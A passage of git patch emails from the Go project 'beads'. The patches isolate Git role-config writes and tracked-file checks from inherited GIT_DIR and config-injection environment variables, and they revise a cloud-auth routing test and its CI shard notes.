decoration is not enough on its own to make +// the two routes agree, because a refusal reaching this route has also been +// wrapped by the layers it traveled through — the use case adds "close : " +// (storage/domain/issue.go) and the SQL repository adds +// "db: IssueSQLRepository.CloseChecked : " (storage/domain/db/issue.go) — +// while the direct route hands back the refusal exactly as the engine minted +// it. So the same blocked id reads +// +// cannot close blocked issue: x-1 is blocked by [x-2] (direct) +// close x-1: db: IssueSQLRepository.CloseChecked x-1: cannot close blocked … (proxied) +// +// For the refusal classes the CLI already names by sentinel, we report the +// outermost error that the sentinel itself explains: that is the sentence the +// engine wrote, and it is byte-identical to the direct route's. Neither wrap +// tells a caller anything it does not know — it asked to close that id — and +// one of them leaks an internal repository type name into an operator-facing +// field. +// +// Anything outside those classes keeps its whole chain. There the wrapping is +// not noise, it is the only thing that says where an unexpected failure came +// from, and there is no engine sentence to converge on. +func closeProxiedTypedRefusal(err error) string { + for _, sentinel := range []error{storage.ErrCloseBlocked, storage.ErrCloseOpenChildren} { + if !errors.Is(err, sentinel) { + continue + } + // Walk in until the next link IS the bare sentinel: that link's parent + // is the refusal with its subject filled in ("… x-1 is blocked by + // [x-2]"), where the sentinel alone would say only "cannot close + // blocked issue". + refusal := err + for { + next := errors.Unwrap(refusal) + if next == nil || next == sentinel || !errors.Is(next, sentinel) { + break + } + refusal = next + } + return refusal.Error() + } + return err.Error() +} + // closeProxiedRefusal spells one item's typed refusal the way this route has // always spelled it. The vocabulary is matched with errors.Is rather than by // reading the message, which is the point of the outcome carrying a typed From 08fc8abb86b102fb3b2ef2b17b392f3cf23b7b2d Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sun, 27 Sep 2026 02:57:07 -0600 Subject: [PATCH 143/624] docs(ci): update shared cloud routing shard rationale (#6432) * test(dolt): verify shared cloud auth fixture without a time limit (saa-cgh.107) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(dolt): require cloud routing server in the opted-in full suite (saa-cgh.107) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(dolt): count successfully registered cloud auth cases (saa-cgh.107) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test: describe current shared cloud-auth shard fixture (saa-cgh.119) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell --- .../scripts/server-storage-test-shards.txt | 11 +++----- internal/storage/dolt/credentials_test.go | 26 ++++++++++++------- 2 files changed, 20 insertions(+), 17 deletions(-) diff --git a/.github/scripts/server-storage-test-shards.txt b/.github/scripts/server-storage-test-shards.txt index e053f0d82..16355e29e 100644 --- a/.github/scripts/server-storage-test-shards.txt +++ b/.github/scripts/server-storage-test-shards.txt @@ -2,13 +2,10 @@ # # Format: # -# Unlike the embedded manifest, per-test timing is known for the tests -# pinned below (see be-extn's investigation of CI job 95616282508): -# TestCloudAuthCLIRouting alone costs ~9.5 minutes -- its 16 subtests each -# call openCloudAuthTestStore, which does CREATE DATABASE + the full -# migration chain + dolt init + dolt remote add + DROP DATABASE, and the -# test uses t.Setenv so it can never run t.Parallel. It is pinned alone on -# shard 1 so no other test shares its runtime. The remaining pins below +# TestCloudAuthCLIRouting uses one shared outer store (#5841); its +# environment-sensitive subtests run serially. #6396 checks that remote +# writes use the shared fixture without imposing a machine-speed threshold. +# It remains pinned alone on shard 1. The remaining pins below # (TestCloudAuthCLIRoutingStructural, TestCreateGuard_* (9 tests), # TestFederationPeerCredentialLifecycleLazyKeyInit, # TestConcurrentWorkQueueDrain, TestHighContentionStress, diff --git a/internal/storage/dolt/credentials_test.go b/internal/storage/dolt/credentials_test.go index f585fe418..b6b58d65c 100644 --- a/internal/storage/dolt/credentials_test.go +++ b/internal/storage/dolt/credentials_test.go @@ -888,6 +888,9 @@ func clearCloudAuthEnv(t *testing.T) { } func TestCloudAuthCLIRouting(t *testing.T) { + if realDoltTestServerRequired() && testServerPort == 0 { + t.Fatal("Dolt server required for cloud-auth routing coverage") + } skipIfNoServer(t) clearCloudAuthEnv(t) start := time.Now() @@ -922,11 +925,12 @@ func TestCloudAuthCLIRouting(t *testing.T) { {"no cloud env", "az://account.blob.core.windows.net/container", "", "", false}, } // Shared store: creating one Dolt database per case (16 total) is what - // made this test slow (see the regression guard below). Each case gets + // made this test slow (see the shared-store guard below). Each case gets // its own remote name (origin_0..origin_15) against a single store, // since shouldUseCLIForCloudAuth's routing decision is keyed purely by // remote name — distinct names are enough to keep cases isolated. store := openCloudAuthTestStore(t, "route") + casesRun := 0 for i, tt := range tests { t.Run(tt.name, func(t *testing.T) { ctx := context.Background() @@ -934,6 +938,7 @@ func TestCloudAuthCLIRouting(t *testing.T) { if err := store.AddRemote(ctx, remote, tt.remoteURL); err != nil { t.Fatalf("AddRemote: %v", err) } + casesRun++ addCloudAuthCLIRemote(t, store, remote, tt.remoteURL) if tt.envKey != "" { t.Setenv(tt.envKey, tt.envValue) @@ -945,16 +950,17 @@ func TestCloudAuthCLIRouting(t *testing.T) { }) } - // Regression guard: this test previously created one Dolt database per - // case (16 total), each slower than the last as server load grew, - // pushing wall time into the hundreds of seconds for a test that only - // exercises a pure routing predicate. 90s sits below every measured - // unfixed run and comfortably above the shared-store fix's expected - // time, so it fails on the old per-case-store shape without flaking - // under normal CI load. - if elapsed := time.Since(start); elapsed > 90*time.Second { - t.Fatalf("TestCloudAuthCLIRouting took %s, want < 90s (regression: are per-case Dolt databases being created again instead of a shared store?)", elapsed) + // Every registered case must leave its distinct remote in the shared store. + // This verifies remote writes use that store; it cannot detect unused stores. + // Count only selected children so focused -run invocations still work. + remotes, err := store.ListRemotes(context.Background()) + if err != nil { + t.Fatalf("ListRemotes: %v", err) } + if len(remotes) != casesRun { + t.Errorf("shared store has %d remotes, want %d executed cases", len(remotes), casesRun) + } + t.Logf("%d cloud auth routing cases took %s", casesRun, time.Since(start)) } func TestCloudAuthCLIRoutingStructural(t *testing.T) { From 79631656c012f2bf706bfb481aec72cb77e4e14b Mon Sep 17 00:00:00 2001 From: ecuthiell Date: Sun, 27 Sep 2026 03:00:16 -0600 Subject: [PATCH 144/624] fix(config): pin role writes to a fresh common-config context (#6454) * fix(exec): match Windows environment key identity (#5618) Centralize os/exec-compatible environment-key comparison and use it for credential, metrics, Git-hook, trace, and repro subprocess filters. Preserve exact Unix semantics and Unicode near-collisions. Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell Signed-off-by: Ewen Cuthiell * fix(worktree): scrub inherited Git routing state Establish CWD as the worktree repository boundary before discovery can consume inherited Git routing. Fence the startup config probe, clear routing in-process before root pre-run discovery, and retain command-owned subprocess scrubbing as defense in depth without changing PID or signal semantics. Fixes #5531 Agent-Signature: codex-gpt-5-unknown-reasoning on behalf of Ewen Cuthiell * refactor(worktree): explain owned filtering and remove an unused shim Document why filtering the fresh routing slice in place is safe and call the shared routing-key classifier directly from tests. Retain the two forwarders used by production worktree subprocess/removal paths. Review: https://github.com/gastownhall/beads/pull/5623#pullrequestreview-5098421671 Bead: saa-cgh.23 Agent-Signature: unknown-model/unknown-reasoning * fix(config): isolate identity and tracked-file Git probes from routing Reuse the worktree routing owner for GetIdentity and isGitTracked so explicit cwd/path selection is not displaced by inherited repository, index or injected config state. Preserve identity precedence and the tracked-secret refusal contract, with real target/decoy regressions. Follow-up: https://github.com/gastownhall/beads/issues/6222 Dependency: https://github.com/gastownhall/beads/pull/5623 Reported-by: bee-ghosttrack Bead: saa-cgh.93 Agent-Signature: unknown-model/unknown-reasoning * test(execenv): exercise every environment operation under both host rules Thread the host choice through narrow private helpers behind the existing exported functions. Keep one normalization owner and retain native wrapper tests; the additional table covers both host branches for equality, prefix matching, last-wins lookup, filtering and input preservation. Review: https://github.com/gastownhall/beads/pull/5672#pullrequestreview-5096948965 Bead: saa-cgh.78 Agent-Signature: unknown-model/unknown-reasoning * docs(worktree): explain startup Git environment scope (saa-cgh.23) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(execenv): exercise exported host policy wiring (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): share subprocess key identity for Git routing (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): isolate tracked-file guard from Git routing (saa-cgh.98) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6356. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): isolate role commands from Git routing (saa-cgh.99) Follow-up to bee-ghosttrack's review of gastownhall/beads#6322; refs #6357. Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(env): exercise shared key helpers on native Windows (saa-cgh.78) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * refactor(gitenv): share key parsing and normalize routing membership once (saa-cgh.93) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * docs(config): explain role command routing policy (saa-cgh.99) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): retain legitimate inherited tracking context (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): isolate trusted global configuration fixture (saa-cgh.98) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): isolate role cleanup in the selected repository (saa-cgh.109.4) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): reset only common local role configuration (saa-cgh.109.10) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): scope hooks-path cleanup to selected common config (saa-cgh.109.11) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(hooks): make worktree role preservation independent (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * Report selected config read failures during hook reset (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(hooks): keep successful config stdout separate from diagnostics (saa-cgh.120) Agent-Signature: Codex-unknown-model-unknown-reasoning on behalf of Ewen Cuthiell * fix(config): pin role writes to fresh common context (GH#6384) (saa-cgh.120.3) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config): retain Git diagnostics from role writes (saa-cgh.120.3) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * test(config): assert the actual Git lock diagnostic (saa-cgh.120.3) Agent-Signature: unknown-model/unknown-reasoning on behalf of Ewen Cuthiell * fix(config,hooks): restore the inherited-tracking fallback in the secret guard Maintainer review fixes for PR #6454 (adopt-pr iteration 1). The scorecard approved at 913/1000 with no blocker or major surviving synthesis; these are the non-gating findings that were cheap to close while the fixup was open. Finding 1 (minor, security) is the only in-range regression in the report. The range switched internal/config.isGitTracked from the inherited environment to gitenv.ScrubRouting only, so a config.yaml tracked solely through legitimate routing -- a bare repository whose work tree is named by GIT_DIR/GIT_WORK_TREE -- reported untracked, and a secret-key write that upstream-base refused was silently allowed. Restores the scrubbed-then-inherited union the same stack already gave cmd/bd.isGitTrackedFile. Finding 4 (nit) composes with it rather than conflicting, so both land as one change: the inherited probe now runs only when the scrubbed probe failed for a configuration reason. git's exit codes discriminate exactly -- 0 tracked, 1 repository reached but path untracked (final), 128 no reachable repository -- so the ordinary untracked-hook miss no longer spawns a second `git ls-files` while the bare-work-tree fallback is preserved. Finding 2 (minor). scrubWorktreeRemovalGitEnvForOS keyed its stricter no-optional-locks policy on strings.ToUpper while the rest of the PR uses execenv key identity. The two disagree in both directions on Windows: GIT_OPTIONAL_LOCKS with a dotted capital I (U+0130) survived the scrub although Git honors it, and GIT_OPTIONAL_LOCK with a long s (U+017F) was dropped although os/exec keeps it distinct. normalizeWorktreeGitEnvKey is deleted in favour of execenv.KeyEqualForOS. Base applied ToUpper on all platforms, so this is a consistency fix in newly rewritten code, not a regression. Finding 5 (nit). The comment above resetHooksPathIfBeadsManaged's probe asserted that repoRoot and commonDir share the cached Git context. Probed false: with cwd A and GIT_DIR=B/.git, `git rev-parse --git-common-dir --show-toplevel` prints B/.git and A. Restated as intent. Finding 3 (scrubGitHookEnv is a fifth, strictly weaker routing scrubber) is deliberately not taken here: cmd/bd/export_auto.go is untouched by this range, so the hazard is byte-identical at base, and the synthesis scoped it to a follow-up bead rather than growing this stack. Each fix is mutation-proved. Reverting isGitTracked reds only the new TestSecretGitTrackingHonorsInheritedBareWorkTree -- including "refusal = ", the actual security consequence -- while the incumbent decoy test stays green, so the pin adds coverage rather than duplicating it. Restoring ToUpper reds only the new Windows row, showing both directions at once. TestGuardHookWritePathHonorsInheritedRepository gains a fixture guard asserting its scrubbed probe fails for a configuration reason rather than exit 1, so a future fixture change cannot silently make the fallback unreachable. scrubWorktreeRemovalGitEnvForOS had no test at all before this. Green locally: ./internal/config, ./internal/execenv, ./internal/gitenv, ./internal/githooksenv, ./internal/gittraceenv, ./internal/metrics, ./scripts, ./internal/beads (the GIT_CONFIG_GLOBAL blast radius neither reviewer ran), and a blast-radius cmd/bd run over the hooks, worktree, role and uninstall suites. Co-Authored-By: Claude Opus 5 --------- Signed-off-by: Ewen Cuthiell Co-authored-by: Bee Co-authored-by: Gas City Adopt-PR Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- .github/workflows/pr.yml | 5 + cmd/bd/config.go | 64 +++- cmd/bd/config_test.go | 272 +++++++++++++++ cmd/bd/dolt_remote_reset_data.go | 11 +- cmd/bd/dolt_remote_reset_data_test.go | 22 ++ cmd/bd/hooks.go | 71 +++- cmd/bd/hooks_guard_test.go | 220 +++++++++++++ cmd/bd/hooks_worktree_test.go | 60 +++- cmd/bd/main.go | 3 + cmd/bd/uninstall_config_test.go | 223 ++++++++++++- cmd/bd/worktree_cmd.go | 99 +++--- cmd/bd/worktree_remove_test.go | 105 +++++- cmd/bd/worktree_test.go | 310 +++++++++++++++++- docs/reference/worktrees.md | 5 + internal/config/config.go | 10 +- internal/config/git_routing_test.go | 189 +++++++++++ internal/config/worktree_config_test.go | 30 ++ internal/config/yaml_config.go | 36 +- internal/execenv/execenv.go | 155 +++++++++ internal/execenv/execenv_test.go | 193 +++++++++++ internal/gitenv/routing.go | 107 ++++++ internal/gitenv/routing_test.go | 174 ++++++++++ internal/githooksenv/githooksenv.go | 23 +- internal/githooksenv/githooksenv_test.go | 32 ++ internal/gittraceenv/gittraceenv.go | 15 +- internal/gittraceenv/gittraceenv_test.go | 12 + internal/metrics/metrics_test.go | 31 ++ internal/metrics/spawn.go | 10 +- internal/storage/dolt/credentials.go | 41 +-- internal/storage/dolt/credentials_test.go | 62 ++++ scripts/ci/test-windows-env-helpers.sh | 45 +++ scripts/ci_workflow_test.go | 16 + scripts/repro-dolt-prod-timeouts/main.go | 28 +- scripts/repro-dolt-prod-timeouts/main_test.go | 3 +- 34 files changed, 2504 insertions(+), 178 deletions(-) create mode 100644 internal/config/git_routing_test.go create mode 100644 internal/execenv/execenv.go create mode 100644 internal/execenv/execenv_test.go create mode 100644 internal/gitenv/routing.go create mode 100644 internal/gitenv/routing_test.go create mode 100644 scripts/ci/test-windows-env-helpers.sh diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 36d7d0d96..3f90bca75 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -520,6 +520,11 @@ jobs: shell: bash run: go test -tags gms_pure_go -count=1 -run '^(TestCleanEnvUsesHostKeySemantics|TestBenchmarkCommandBuildersStripDoltEnvOverrides)$' ./scripts/repro-dolt-prod-timeouts + - name: Check shared environment key semantics + if: matrix.os == 'windows-latest' + shell: bash + run: bash scripts/ci/test-windows-env-helpers.sh + # Fast check to catch accidental .beads/issues.jsonl changes from contributors check-no-beads-changes: name: Check for .beads changes diff --git a/cmd/bd/config.go b/cmd/bd/config.go index 3510473a5..e9fd4ba68 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -14,6 +14,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/remotecache" "github.com/steveyegge/beads/internal/tracker" @@ -115,6 +116,41 @@ Examples: var forceGitTracked bool +// newRoleConfigWriter captures fresh cwd and scrubbed routing once per write +// operation. The process-wide Git cache and Beads storage do not select it. +func newRoleConfigWriter() (func(...string) error, error) { + dir, err := os.Getwd() + if err != nil { + return nil, err + } + env := gitenv.ScrubRouting(os.Environ()) + probe := exec.Command("git", "rev-parse", "--git-common-dir") + probe.Dir, probe.Env = dir, env + out, err := probe.Output() + if err != nil { + if exit, ok := err.(*exec.ExitError); ok && len(exit.Stderr) > 0 { + err = fmt.Errorf("%w: %s", err, strings.TrimSpace(string(exit.Stderr))) + } + return nil, fmt.Errorf("resolving common Git config: %w", err) + } + commonDir := git.NormalizePath(strings.TrimSpace(string(out))) + if commonDir == "" { + return nil, fmt.Errorf("Git returned an empty common directory") + } + if !filepath.IsAbs(commonDir) { + commonDir = filepath.Join(dir, commonDir) + } + return func(args ...string) error { + // Callers supply only the fixed role key, validated values and unset flag. + cmd := exec.Command("git", append([]string{"--git-dir", commonDir, "config", "--local"}, args...)...) //nolint:gosec // private validated config operations + cmd.Dir, cmd.Env = dir, env + if output, err := cmd.CombinedOutput(); err != nil { + return fmt.Errorf("%w: %s", err, strings.TrimSpace(string(output))) + } + return nil + }, nil +} + var configSetCmd = &cobra.Command{ Use: "set ", Short: "Set a configuration value", @@ -198,8 +234,11 @@ var configSetCmd = &cobra.Command{ if !validRoles[value] { return HandleError("invalid role %q (valid values: maintainer, contributor)", value) } - cmd := exec.Command("git", "config", "beads.role", value) //nolint:gosec // value is validated against allowlist above - if err := cmd.Run(); err != nil { + write, err := newRoleConfigWriter() + if err != nil { + return HandleError("setting beads.role in git config: %v", err) + } + if err := write("beads.role", value); err != nil { return HandleError("setting beads.role in git config: %v", err) } if jsonOutput { @@ -344,6 +383,7 @@ var configGetCmd = &cobra.Command{ if key == "beads.role" { cmd := exec.Command("git", "config", "--get", "beads.role") + cmd.Env = gitenv.ScrubRouting(os.Environ()) output, err := cmd.Output() value := strings.TrimSpace(string(output)) if err != nil { @@ -596,8 +636,11 @@ var configUnsetCmd = &cobra.Command{ } if key == "beads.role" { - gitCmd := exec.Command("git", "config", "--unset", "beads.role") - if err := gitCmd.Run(); err != nil { + write, err := newRoleConfigWriter() + if err != nil { + return HandleError("unsetting beads.role in git config: %v", err) + } + if err := write("--unset", "beads.role"); err != nil { return HandleError("unsetting beads.role in git config: %v", err) } if jsonOutput { @@ -887,10 +930,15 @@ Examples: } } - for _, p := range gitPairs { - cmd := exec.Command("git", "config", "beads.role", p.value) //nolint:gosec // value is validated against allowlist above - if err := cmd.Run(); err != nil { - return HandleError("setting %s in git config: %v", p.key, err) + if len(gitPairs) > 0 { + write, err := newRoleConfigWriter() + if err != nil { + return HandleError("setting beads.role in git config: %v", err) + } + for _, p := range gitPairs { + if err := write("beads.role", p.value); err != nil { + return HandleError("setting %s in git config: %v", p.key, err) + } } } diff --git a/cmd/bd/config_test.go b/cmd/bd/config_test.go index 752796415..3b8ad0ad5 100644 --- a/cmd/bd/config_test.go +++ b/cmd/bd/config_test.go @@ -7,14 +7,18 @@ import ( "os" "os/exec" "path/filepath" + "runtime" "strings" "testing" + "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/git" + "github.com/steveyegge/beads/internal/gitenv" "github.com/steveyegge/beads/internal/storage/dolt" "github.com/steveyegge/beads/internal/types" + "github.com/stretchr/testify/require" ) func TestConfigCommands(t *testing.T) { @@ -275,6 +279,214 @@ func TestBeadsRoleGitConfig(t *testing.T) { }) } +func TestBeadsRoleCommandsIgnoreInheritedGitRouting(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + if err := os.Unsetenv(key); err != nil { + t.Fatal(err) + } + } + } + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + pinJSONOutput(t, false) + runGit := func(t *testing.T, repo string, args ...string) string { + t.Helper() + cmd := exec.Command("git", args...) + cmd.Dir = repo + cmd.Env = gitenv.ScrubRouting(os.Environ()) + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("fixture git %v: %v: %s", args, err, out) + } + return strings.TrimSpace(string(out)) + } + target, decoy := t.TempDir(), t.TempDir() + for _, repo := range []string{target, decoy} { + runGit(t, repo, "init", "--quiet") + runGit(t, repo, "config", "--local", "core.hooksPath", ".git/hooks") + } + t.Chdir(target) + localRole := func(t *testing.T, repo string) string { + t.Helper() + for _, line := range strings.Split(runGit(t, repo, "config", "--local", "--list"), "\n") { + if value, ok := strings.CutPrefix(line, "beads.role="); ok { + return value + } + } + return "" + } + commands := []struct { + name string + cmd *cobra.Command + args []string + wantRole string + wantOutput string + }{ + {"set", configSetCmd, []string{"beads.role", "contributor"}, "contributor", "Set beads.role = contributor (in git config)"}, + {"get", configGetCmd, []string{"beads.role"}, "maintainer", "maintainer"}, + {"unset", configUnsetCmd, []string{"beads.role"}, "", "Unset beads.role (in git config)"}, + {"set-many", configSetManyCmd, []string{"beads.role=contributor"}, "contributor", "Set beads.role = contributor (in git config)"}, + } + for _, command := range commands { + for _, poison := range []struct { + name string + env map[string]string + }{ + {"repository", map[string]string{"GIT_DIR": filepath.Join(decoy, ".git"), "GIT_WORK_TREE": decoy}}, + {"inline_config", map[string]string{"GIT_CONFIG_COUNT": "1", "GIT_CONFIG_KEY_0": "beads.role", "GIT_CONFIG_VALUE_0": "injected-role"}}, + } { + t.Run(command.name+"/"+poison.name, func(t *testing.T) { + runGit(t, target, "config", "--local", "beads.role", "maintainer") + runGit(t, decoy, "config", "--local", "beads.role", "decoy-role") + for key, value := range poison.env { + t.Setenv(key, value) + } + out := captureStdout(t, func() error { return command.cmd.RunE(command.cmd, command.args) }) + if strings.TrimSpace(out) != command.wantOutput { + t.Errorf("handler output = %q, want %q", out, command.wantOutput) + } + if got := localRole(t, target); got != command.wantRole { + t.Errorf("target role = %q, want %q", got, command.wantRole) + } + if got := localRole(t, decoy); got != "decoy-role" { + t.Errorf("decoy role changed to %q", got) + } + for key, value := range poison.env { + if os.Getenv(key) != value { + t.Errorf("handler changed parent environment %s", key) + } + } + }) + } + } + for _, command := range []struct { + name string + cmd *cobra.Command + args []string + }{ + {"invalid set", configSetCmd, []string{"beads.role", "admin"}}, + {"invalid batch", configSetManyCmd, []string{"beads.role=contributor", "beads.role=admin"}}, + } { + t.Run(command.name, func(t *testing.T) { + runGit(t, target, "config", "--local", "beads.role", "maintainer") + var err error + out := captureStderr(t, func() { err = command.cmd.RunE(command.cmd, command.args) }) + if code, ok := exitCodeFromError(err); !ok || code != 1 || !strings.Contains(out, "invalid role") { + t.Errorf("invalid role refusal = %v, stderr %q", err, out) + } + if got := localRole(t, target); got != "maintainer" { + t.Errorf("invalid role changed target to %q", got) + } + }) + } + t.Run("absent role", func(t *testing.T) { + runGit(t, target, "config", "--local", "beads.role", "maintainer") + runGit(t, target, "config", "--local", "--unset", "beads.role") + out := captureStdout(t, func() error { return configGetCmd.RunE(configGetCmd, []string{"beads.role"}) }) + if strings.TrimSpace(out) != "beads.role (not set in git config)" { + t.Errorf("absent role output = %q", out) + } + var err error + stderr := captureStderr(t, func() { err = configUnsetCmd.RunE(configUnsetCmd, []string{"beads.role"}) }) + if code, ok := exitCodeFromError(err); !ok || code != 1 || !strings.Contains(stderr, "unsetting beads.role in git config") { + t.Errorf("absent unset = %v, stderr %q", err, stderr) + } + }) + t.Run("default global role", func(t *testing.T) { + runGit(t, target, "config", "--local", "beads.role", "maintainer") + runGit(t, target, "config", "--local", "--unset", "beads.role") + if err := os.WriteFile(filepath.Join(home, ".gitconfig"), []byte("[beads]\n\trole = contributor\n"), 0o600); err != nil { + t.Fatal(err) + } + out := captureStdout(t, func() error { return configGetCmd.RunE(configGetCmd, []string{"beads.role"}) }) + if strings.TrimSpace(out) != "contributor" { + t.Errorf("default global role output = %q", out) + } + }) +} + +func TestBeadsRoleWritesUseFreshCommonConfig(t *testing.T) { + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + require.NoError(t, os.Unsetenv(key)) + } + } + pinJSONOutput(t, false) + t.Cleanup(git.ResetCaches) + for _, kind := range []string{"linked", "bare", "separate", "nonrepo"} { + t.Run(kind, func(t *testing.T) { + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + run := func(dir string, args ...string) string { + cmd := exec.Command("git", args...) + cmd.Dir, cmd.Env = dir, gitenv.ScrubRouting(os.Environ()) + out, err := cmd.CombinedOutput() + require.NoError(t, err, "fixture git %v: %s", args, out) + return strings.TrimSpace(string(out)) + } + main, decoy, target := t.TempDir(), t.TempDir(), t.TempDir() + for _, dir := range []string{main, decoy} { + run(dir, "init", "--quiet") + run(dir, "config", "--local", "core.hooksPath", ".git/hooks") + } + switch kind { + case "linked": + run(main, "-c", "user.name=Fixture", "-c", "user.email=fixture@example.test", "-c", "commit.gpgSign=false", "commit", "--allow-empty", "-m", "seed") + run(main, "config", "extensions.worktreeConfig", "true") + run(main, "worktree", "add", "--detach", target) + run(target, "config", "--worktree", "beads.role", "private-role") + case "bare": + run(home, "init", "--bare", target) + case "separate": + run(home, "init", "--separate-git-dir", filepath.Join(home, "external git"), target) + } + t.Chdir(decoy) + git.ResetCaches() + cached, err := git.GetGitCommonDir() + require.NoError(t, err) + t.Chdir(target) + t.Setenv("GIT_DIR", filepath.Join(decoy, ".git")) + t.Setenv("GIT_CONFIG", filepath.Join(decoy, ".git", "config")) + before, err := os.ReadFile(filepath.Join(decoy, ".git", "config")) + require.NoError(t, err) + for _, command := range []struct { + cmd *cobra.Command + args []string + }{ + {configSetCmd, []string{"beads.role", "contributor"}}, + {configSetManyCmd, []string{"beads.role=maintainer", "beads.role=contributor"}}, + {configUnsetCmd, []string{"beads.role"}}, + } { + if kind == "nonrepo" { + captureStderr(t, func() { require.Error(t, command.cmd.RunE(command.cmd, command.args)) }) + continue + } + captureStdout(t, func() error { return command.cmd.RunE(command.cmd, command.args) }) + role := run(target, "config", "--local", "--list") + require.Equal(t, command.cmd != configUnsetCmd, strings.Contains(role, "beads.role=contributor")) + if kind == "linked" { + require.Equal(t, "private-role", run(target, "config", "--worktree", "--get", "beads.role")) + } + } + after, err := os.ReadFile(filepath.Join(decoy, ".git", "config")) + require.NoError(t, err) + require.Equal(t, before, after) + stillCached, err := git.GetGitCommonDir() + require.NoError(t, err) + require.Equal(t, cached, stillCached) + }) + } +} + // TestIsValidRemoteURL tests the remote URL validation function func TestIsValidRemoteURL(t *testing.T) { tests := []struct { @@ -921,3 +1133,63 @@ func TestConfigSetManyValidationIntegration(t *testing.T) { } }) } + +func TestBeadsRoleWriteErrorsRetainGitDiagnostics(t *testing.T) { + t.Setenv("LC_ALL", "C") + pinJSONOutput(t, false) + for _, entry := range os.Environ() { + key := gitenv.EntryKey(entry) + if gitenv.IsRoutingKeyForOS(key, runtime.GOOS) { + t.Setenv(key, "") + require.NoError(t, os.Unsetenv(key)) + } + } + for _, operation := range []struct { + name string + cmd *cobra.Command + args []string + }{ + {"set", configSetCmd, []string{"beads.role", "contributor"}}, + {"set-many", configSetManyCmd, []string{"beads.role=contributor"}}, + {"unset", configUnsetCmd, []string{"beads.role"}}, + } { + for _, failure := range []string{"nonrepo", "config_lock", "duplicate"} { + t.Run(operation.name+"/"+failure, func(t *testing.T) { + home := t.TempDir() + for _, key := range []string{"HOME", "USERPROFILE", "XDG_CONFIG_HOME"} { + t.Setenv(key, home) + } + repo := newGitRepo(t) + t.Chdir(repo) + run := func(args ...string) { + cmd := exec.Command("git", args...) + out, err := cmd.CombinedOutput() + require.NoError(t, err, "%s", out) + } + run("config", "--local", "beads.role", "maintainer") + want := "not a git repository" + switch failure { + case "nonrepo": + t.Chdir(t.TempDir()) + case "config_lock": + require.NoError(t, os.WriteFile(filepath.Join(repo, ".git", "config.lock"), []byte("owned lock"), 0600)) + want = "could not lock config file" + case "duplicate": + run("config", "--local", "--add", "beads.role", "contributor") + want = "multiple values" + } + configPath := filepath.Join(repo, ".git", "config") + before, err := os.ReadFile(configPath) + require.NoError(t, err) + stderr := captureStderr(t, func() { err = operation.cmd.RunE(operation.cmd, operation.args) }) + code, ok := exitCodeFromError(err) + require.True(t, ok) + require.Equal(t, 1, code) + require.Contains(t, stderr, want) + after, readErr := os.ReadFile(configPath) + require.NoError(t, readErr) + require.Equal(t, before, after, "failed role write changed config") + }) + } + } +} diff --git a/cmd/bd/dolt_remote_reset_data.go b/cmd/bd/dolt_remote_reset_data.go index 8f9af4159..1ea1b5468 100644 --- a/cmd/bd/dolt_remote_reset_data.go +++ b/cmd/bd/dolt_remote_reset_data.go @@ -157,16 +157,7 @@ func deleteGitDoltDataRefs(ctx context.Context, gitURL string, refs []string) er // hooks disabled via GIT_CONFIG_PARAMETERS, preserving any parameters the // caller already set (mirrors applyNoGitHooksToCmd in internal/storage/dolt). func envWithNoGitHooks() []string { - base := os.Environ() - merged := githooksenv.AppendParameter(githooksenv.Extract(base), githooksenv.NoHooksParam) - env := make([]string, 0, len(base)+1) - prefix := githooksenv.ParametersEnv + "=" - for _, e := range base { - if !strings.HasPrefix(e, prefix) { - env = append(env, e) - } - 